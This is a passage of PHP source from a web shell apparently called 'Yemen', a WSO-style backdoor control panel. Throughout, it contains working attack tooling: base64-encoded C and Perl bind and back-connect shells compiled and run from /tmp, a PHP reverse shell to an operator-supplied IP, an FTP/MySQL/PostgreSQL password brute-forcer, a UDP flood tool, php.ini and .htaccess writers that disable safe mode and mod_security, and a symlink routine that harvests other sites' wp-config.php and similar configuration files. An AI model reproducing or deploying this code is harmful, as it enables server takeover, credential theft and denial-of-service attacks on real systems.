  1330. $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1331. $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1332. ?>
  1333.  <h1><font color="green">Bind Port</font></h1><div class=content>
  1334.  <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1335.  <span>Bind port to /bin/sh</span><br/><font color="green">
  1336.  Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit s s value=">>">
  1337.  </font></form>
  1338.  <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1339.  <span>Back-connect to</span><br/> <font color="green">
  1340.  Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR'] ?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit s s value=">>">
  1341.  </font></form><br>
  1342.  <?php
  1343. if (isset($_POST['p1'])) { function cf($f, $t) {
  1344. $w = @fopen($f, "w") or @function_exists('file_put_contents');
  1345. if ($w) { @fwrite($w, base64_decode($t)) or @fputs($w, base64_decode($t)) or @file_put_contents($f, base64_decode($t)); @fclose($w);
  1346. } } if ($_POST['p1'] == 'bpc') {
  1347. cf("/tmp/bp.c", $bind_port_c);
  1348. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1349. @unlink("/tmp/bp.c");
  1350. $out.= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
  1351. echo "<pre class=ml1>$out
  1352. " . ex("ps aux | grep bp") . "</pre>"; } if ($_POST['p1'] == 'bpp') {
  1353. cf("/tmp/bp.pl", $bind_port_p);
  1354. $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
  1355. echo "<pre class=ml1>$out
  1356. " . ex("ps aux | grep bp.pl") . "</pre>"; } if ($_POST['p1'] == 'bcc') {
  1357. cf("/tmp/bc.c", $back_connect_c);
  1358. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1359. @unlink("/tmp/bc.c");
  1360. $out.= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
  1361. echo "<pre class=ml1>$out
  1362. " . ex("ps aux | grep bc") . "</pre>"; } if ($_POST['p1'] == 'bcp') {
  1363. cf("/tmp/bc.pl", $back_connect_p);
  1364. $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
  1365. echo "<pre class=ml1>$out
  1366. " . ex("ps aux | grep bc.pl") . "</pre>"; }
  1367. }
  1368. echo '</div>';
  1369. yemenfooter(); } function yemenhash() {
  1370. if (!function_exists('hex2bin')) { function hex2bin($p) {
  1371. return decbin(hexdec($p)); }
  1372. }
  1373. if (!function_exists('binhex')) { function binhex($p) {
  1374. return dechex(bindec($p)); }
  1375. }
  1376. if (!function_exists('hex2ascii')) { function hex2ascii($p) {
  1377. $r = '';
  1378. for ($i = 0;$i < strLen($p);$i+= 2) { $r.= chr(hexdec($p[$i] . $p[$i + 1]));
  1379. }
  1380. return $r; }
  1381. }
  1382. if (!function_exists('ascii2hex')) { function ascii2hex($p) {
  1383. $r = '';
  1384. for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
  1385. return strtoupper($r); }
  1386. }
  1387. if (!function_exists('full_urlencode')) { function full_urlencode($p) {
  1388. $r = '';
  1389. for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
  1390. return strtoupper($r); }
  1391. }
  1392. $stringTools =
  1393. array(
  1394.     'base64_encode()' => 'base64_encode',
  1395.     'base64_decode()' => 'base64_decode',
  1396.     'md5()' => 'md5',
  1397.     'sha1()' => 'sha1',
  1398.     'crypt' => 'crypt',
  1399.     'CRC32' => 'crc32',
  1400.     'url_encode()' => 'urlencode',
  1401.     'url decode()' => 'urldecode',
  1402.     'Full urlencode' => 'full_urlencode',
  1403.     'htmlspecialchars()' => 'htmlspecialchars',
  1404.  );
  1405. yemenhead();
  1406. echo '<div class=header>';
  1407. if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  1408. echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
  1409. foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
  1410. echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
  1411. if (!empty($_POST['p1'])) { if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1412. }
  1413. echo "</div>";
  1414. yemenFooter(); } function yemenbruteftp() {
  1415. yemenhead();
  1416. if (isset($_POST['proto'])) { echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>'; if ($_POST['proto'] == 'ftp') {
  1417. function bruteForce($ip, $port, $login, $pass) { $fp = @ftp_connect($ip, $port ? $port : 21); if (!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res;
  1418. } } elseif ($_POST['proto'] == 'mysql') {
  1419. function bruteForce($ip, $port, $login, $pass) { $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass); @mysql_close($res); return $res;
  1420. } } elseif ($_POST['proto'] == 'pgsql') {
  1421. function bruteForce($ip, $port, $login, $pass) { $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=''"; $res = @pg_connect($server[0] . ':' . $server[1] ? $server[1] : 5432, $login, $pass); @pg_close($res); return $res;
  1422. } } $success = 0; $attempts = 0; $server = explode(":", $_POST['server']); if ($_POST['type'] == 1) {
  1423. $temp = @file('/etc/passwd');
  1424. if (is_array($temp)) foreach ($temp as $line) { $line = explode(":", $line); ++$attempts; if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
  1425. $success++;
  1426. echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>'; } if (@$_POST['reverse']) {
  1427. $tmp = "";
  1428. for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
  1429. ++$attempts;
  1430. if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) { $success++; echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
  1431. } }
  1432. } } elseif ($_POST['type'] == 2) {
  1433. $temp = @file($_POST['dict']);
  1434. if (is_array($temp)) foreach ($temp as $line) { $line = trim($line); ++$attempts; if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
  1435. $success++;
  1436. echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>'; }
  1437. } } echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1438. }
  1439. echo '<h1><font color=yellow >FTP bruteforce</font></h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '><td><label><font color=white> <input type=radio name=type value="1" checked> /etc/passwd</font></label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><font color=white><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><font color=white><input type=radio name=type value="2"> Dictionary</font></label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="Yemen"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit s s value=">>"></td></tr></form></table>';
  1440. echo '</div><br>';
  1441. yemenFooter(); }
  1442. function yemendos() {
  1443. yemenhead();
  1444. echo '<div class=header>';
  1445. if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  1446. echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>';
  1447. echo "<pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' >";
  1448. if (!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3'])) { $packets = 0; ignore_user_abort(true); $exec_time = $_POST['p2']; $time = time(); $max_time = $exec_time + $time; $host = $_POST['p1']; $portudp = $_POST['p3']; for ($i = 0;$i < 65000;$i++) {
  1449. $out.= 'X'; } while (1) {
  1450. $packets++;
  1451. if (time() > $max_time) { break;
  1452. }
  1453. $fp = fsockopen('udp://' . $host, $portudp, $errno, $errstr, 5);
  1454. if ($fp) { fwrite($fp, $out); fclose($fp);
  1455. } } echo "$packets (" . round(($packets * 65) / 1024, 2) . " MB) packets averaging " . round($packets / $exec_time, 2) . " packets per second"; echo "</pre>";
  1456. }
  1457. echo '</div>';
  1458. yemenfooter();
  1459. }
  1460. function yemenproc() {
  1461. yemenhead();
  1462. echo "<Div class=header>";
  1463. if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  1464. if ($GLOBALS['sys'] == "win") {
  1465.     $process = array(
  1466.         "System Info" => "systeminfo",
  1467.         "Active Connections" => "netstat -an",
  1468.         "Running Services" => "net start",
  1469.         "User Accounts" => "net user",
  1470.         "Show Computers" => "net view",
  1471.         "ARP Table" => "arp -a",
  1472.         "IP Configuration" => "ipconfig /all"
  1473.     );
  1474. } else {
  1475.     $process = array(
  1476.         "Process status" => "ps aux",
  1477.         "Syslog" => "cat  /etc/syslog.conf",
  1478.         "Resolv" => "cat  /etc/resolv.conf",
  1479.         "Hosts" => "cat /etc/hosts",
  1480.         "Passwd" => "cat /etc/passwd",
  1481.         "Cpuinfo" => "cat /proc/cpuinfo",
  1482.         "Version" => "cat /proc/version",
  1483.         "Sbin" => "ls -al /usr/sbin",
  1484.         "Interrupts" => "cat /proc/interrupts",
  1485.         "lsattr" => "lsattr -va",
  1486.         "Uptime" => "uptime",
  1487.         "Fstab" => "cat /etc/fstab",
  1488.         "HDD Space" => "df -h"
  1489.     );
  1490. }
  1491. if (!empty($_POST['p1'])) { echo "<form onsubmit=\"Encoder2('encod2');g('proc',null,this.c.value);return false;\"><center><font style='color:red;width:blod;font-size:16px;font-family:auto;'>~= Terminal Mod =~</font></center><input class=\"toolsInp\" type=text style='width:92.5%;padding:2px;margin:2px;color:white;' autocomplete=ON id=encod2 name=c value='' autofocus><input style='width:5%;padding:1px;' type=submit value=\">>\"></form>
  1492. <div padding=1px ><textarea class='ml1' style='height:400px;width:98%; margin-top:5px;margin-bottom:10px;border: 1px solid red;' >"; echo yemenEx($_POST['p1']); echo '</textarea></div>
  1493. <hr>
  1494. ';
  1495. }
  1496. echo "<center>";
  1497. foreach ($process as $n => $link) { echo '<a href="#" onclick="g(null,null,\'' . base64_encode($link) . '\')"> |  <b>' . $n . '</b> |  </a></br></br>';
  1498. }
  1499. echo "</center>";
  1500. echo "</div>";
  1501. yemenfooter(); } function yemensafe() {
  1502. yemenhead();
  1503. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| " . $GLOBALS['cwd'] . " |<br>";
  1504. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1505. if (!empty($_POST['p2']) && isset($_POST['p2'])) { $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w"); fwrite($fil, '<IfModule mod_security.c>
  1506. Sec------Engine Off
  1507. Sec------ScanPOST Off
  1508. </IfModule>'); fclose($fil);
  1509. }
  1510. if (!empty($_POST['p1']) && isset($_POST['p1'])) { $fil = fopen($GLOBALS['cwd'] . "php.ini", "w"); fwrite($fil, 'safe_mode=OFF
  1511. disable_functions=NONE'); fclose($fil);
  1512. }
  1513. if (!empty($_POST['p3']) && isset($_POST['p3'])) { $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w"); fwrite($fil, 'Options FollowSymLinks MultiViews Indexes ExecCGI
  1514. AddType application/x-httpd-cgi .sh
  1515. AddHandler cgi-script .pl
  1516. AddHandler cgi-script .pl'); fclose($fil);
  1517. }
  1518. echo "<br></div>";
  1519. yemenfooter(); } function yemenconnect() {
  1520. yemenhead();
  1521. $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1522. echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
  1523. echo "<form  onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
  1524. echo "<br><form  onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
  1525. if (isset($_POST['p1'])) { function cf($f, $t) {
  1526. $w = @fopen($f, "w") or @function_exists('file_put_contents');
  1527. if ($w) { @fwrite($w, base64_decode($t)); @fclose($w);
  1528. } } if ($_POST['p1'] == 'bcp') {
  1529. cf("/tmp/bc.pl", $back_connect_p);
  1530. $out = yemenEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
  1531. echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to " . $_POST['p2'] . ":" . $_POST['p3'] . "<br>Connecting...</pre>";
  1532. @unlink("/tmp/bc.pl"); } if ($_POST['p1'] == 'php') {
  1533. @set_time_limit(0);
  1534. $ip = $_POST['p2'];
  1535. $port = $_POST['p3'];
  1536. $chunk_size = 1400;
  1537. $write_a = null;
  1538. $error_a = null;
  1539. $shell = 'uname -a; w; id; /bin/sh -i';
  1540. $daemon = 0;
  1541. $debug = 0;
  1542. echo "<pre class=ml1 style='margin-top:5px'>";
  1543. if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == - 1) {
  1544. echo "Cant fork!<br>";
  1545. exit(1); } if ($pid) {
  1546. exit(0); } if (posix_setsid() == - 1) {
  1547. echo "Error: Can't setsid()<br>";
  1548. exit(1); } $daemon = 1;
  1549. } else { echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";
  1550. }
  1551. chdir("/");
  1552. umask(0);
  1553. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  1554. if (!$sock) { echo "$errstr ($errno)"; exit(1);
  1555. }
  1556. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  1557. $process = proc_open($shell, $descriptorspec, $pipes);
  1558. if (!is_resource($process)) { echo "ERROR: Can't spawn shell<br>"; exit(1);
  1559. }
  1560. @stream_set_blocking($pipes[0], 0);
  1561. @stream_set_blocking($pipes[1], 0);
  1562. @stream_set_blocking($pipes[2], 0);
  1563. @stream_set_blocking($sock, 0);
  1564. echo "Successfully opened reverse shell to $ip:$port<br>";
  1565. while (1) { if (feof($sock)) {
  1566. echo "ERROR: Shell connection terminated<br>";
  1567. break; } if (feof($pipes[1])) {
  1568. echo "ERROR: Shell process terminated<br>";
  1569. break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = @stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
  1570. if ($debug) echo "SOCK READ<br>";
  1571. $input = fread($sock, $chunk_size);
  1572. if ($debug) echo "SOCK: $input<br>";
  1573. fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) {
  1574. if ($debug) echo "STDOUT READ<br>";
  1575. $input = fread($pipes[1], $chunk_size);
  1576. if ($debug) echo "STDOUT: $input<br>";
  1577. fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) {
  1578. if ($debug) echo "STDERR READ<br>";
  1579. $input = fread($pipes[2], $chunk_size);
  1580. if ($debug) echo "STDERR: $input<br>";
  1581. fwrite($sock, $input); }
  1582. }
  1583. fclose($sock);
  1584. fclose($pipes[0]);
  1585. fclose($pipes[1]);
  1586. fclose($pipes[2]);
  1587. proc_close($process);
  1588. echo "</pre>"; }
  1589. }
  1590. echo "</div>";
  1591. yemenfooter(); } function yemenyemen() {
  1592. yemenhead();
  1593. echo "<div style='height:100%;width:100%;border: 2px solid #5BEEFF;padding-top:20px;' ><center><b><font color=white size=4 face=Georgia, Arial>Upgrade By 3Turr</br>Old version Developed by Monds & hatrk <br>respect the coders ^_^</font></b></center>";
  1594. yemenfooter(); } function yemensymlink() {
  1595. yemenhead();
  1596. $IIIIIIIIIIIl = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  1597. $IIIIIIIIIII1 = explode('/', $IIIIIIIIIIIl);
  1598. $IIIIIIIIIIIl = str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1) - 1], '', $IIIIIIIIIIIl);
  1599. echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains |</br> </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| ls -n /sym| </br></a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
  1600. if (isset($_POST['p1']) && $_POST['p1'] == 'website') { echo "<center>"; $d0mains = @file("/etc/named.conf"); if (!$d0mains) {
  1601. echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } echo "<table align=center class='main'  border=0  >
  1602. <tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>"; $count = 1; foreach ($d0mains as $d0main) {
  1603. if (@eregi("zone", $d0main)) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) {
  1604. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
  1605. echo "<tr><td>" . $count . "</td><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
  1606. flush();
  1607. $count++; }
  1608. } } echo "</center></table>";
  1609. }
  1610. if (isset($_POST['p2']) && $_POST['p2'] == 'whole') { @set_time_limit(0); echo "<center>"; @mkdir('sym', 0777); $IIIIIIIIIIl1 = "Options all
  1611. DirectoryIndex Sux.html
  1612. AddType text/plain .php
  1613. AddHandler server-parsed .php
  1614.  AddType text/plain .html
  1615. AddHandler txt .html
  1616. Require None
  1617. Satisfy Any"; $IIIIIIIIII1I = @fopen('sym/.htaccess', 'w'); fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); @symlink('/', 'sym/root'); $IIIIIIIIIlIl = basename('_FILE_'); $IIIIIIIIIllI = @file('/etc/named.conf'); if (!$IIIIIIIIIllI) {
  1618. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } else {
  1619. echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
  1620. foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (@eregi('zone', $IIIIIIIIIll1)) {
  1621. preg_match_all('#zone "(.*)"#', $IIIIIIIIIll1, $IIIIIIIIIl11);
  1622. flush();
  1623. if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/' . $IIIIIIIIIl11[1][0])); $IIIIIIII1I1l = $IIIIIIIII1I1['name']; @symlink('/', 'sym/root'); $IIIIIIII1I1l = $IIIIIIIIIl11[1][0]; $IIIIIIII1I11 = '\.ir'; $IIIIIIII1lII = '\.il'; if (@eregi("$IIIIIIII1I11", $IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII", $IIIIIIIIIl11[1][0])) {
  1624. $IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $IIIIIIIIIl11[1][0] . '</div>'; } echo "
  1625. <tr>
  1626. <td>
  1627. <a target='_blank' href=http://www." . $IIIIIIIIIl11[1][0] . '/>' . $IIIIIIII1I1l . ' </a>
  1628. </td>
  1629. <td>
  1630. ' . $IIIIIIIII1I1['name'] . "
  1631. </td>
  1632. <td>
  1633. <a href='sym/root/home/" . $IIIIIIIII1I1['name'] . "/public_html' target='_blank'>symlink </a>
  1634. </td>
  1635.  
  1636. </tr>"; flush();
  1637. } }
  1638. } } echo "</center></table>";
  1639. }
  1640. if (isset($_POST['p3']) && $_POST['p3'] == 'config') { echo "<center>"; @mkdir('sym', 0777); $IIIIIIIIIIl1 = "Options all
  1641. DirectoryIndex Sux.html
  1642. AddType text/plain .php
  1643. AddHandler server-parsed .php
  1644.  AddType text/plain .html
  1645. AddHandler txt .html
  1646. Require None
  1647. Satisfy Any"; $IIIIIIIIII1I = @fopen('sym/.htaccess', 'w'); @fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); @symlink('/', 'sym/root'); $IIIIIIIIIlIl = basename('_FILE_'); $IIIIIIIIIllI = @file('/etc/named.conf'); if (!$IIIIIIIIIllI) {
  1648. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } else {
  1649. echo "
  1650. <table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
  1651. foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (@eregi('zone', $IIIIIIIIIll1)) {
  1652. preg_match_all('#zone "(.*)"#', $IIIIIIIIIll1, $IIIIIIIIIl11);
  1653. flush();
  1654. if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/' . $IIIIIIIIIl11[1][0])); $IIIIIIIII1l1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/wp-config.php'; $IIIIIIIII11I = get_headers($IIIIIIIII1l1); $IIIIIIIII11l = $IIIIIIIII11I[0]; $IIIIIIIII111 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/blog/wp-config.php'; $IIIIIIIIlIII = get_headers($IIIIIIIII111); $IIIIIIIIlIIl = $IIIIIIIIlIII[0]; $IIIIIIIIlII1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/configuration.php'; $IIIIIIIIlIlI = get_headers($IIIIIIIIlII1); $IIIIIIIIlIll = $IIIIIIIIlIlI[0]; $IIIIIIIIlIl1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/joomla/configuration.php'; $IIIIIIIIlI1I = get_headers($IIIIIIIIlIl1); $IIIIIIIIlI1l = $IIIIIIIIlI1I[0]; $IIIIIIIIlI11 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/includes/config.php'; $IIIIIIIIllII = get_headers($IIIIIIIIlI11); $IIIIIIIIllIl = $IIIIIIIIllII[0]; $IIIIIIIIllI1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/vb/includes/config.php'; $IIIIIIIIlllI = get_headers($IIIIIIIIllI1); $IIIIIIIIllll = $IIIIIIIIlllI[0]; $IIIIIIIIlll1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/forum/includes/config.php'; $IIIIIIIIll1I = get_headers($IIIIIIIIlll1); $IIIIIIIIll1l = $IIIIIIIIll1I[0]; $IIIIIIIIll11 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . 'public_html/clients/configuration.php'; $IIIIIIIIl1II = get_headers($IIIIIIIIll11); $IIIIIIIIl1Il = $IIIIIIIIl1II[0]; 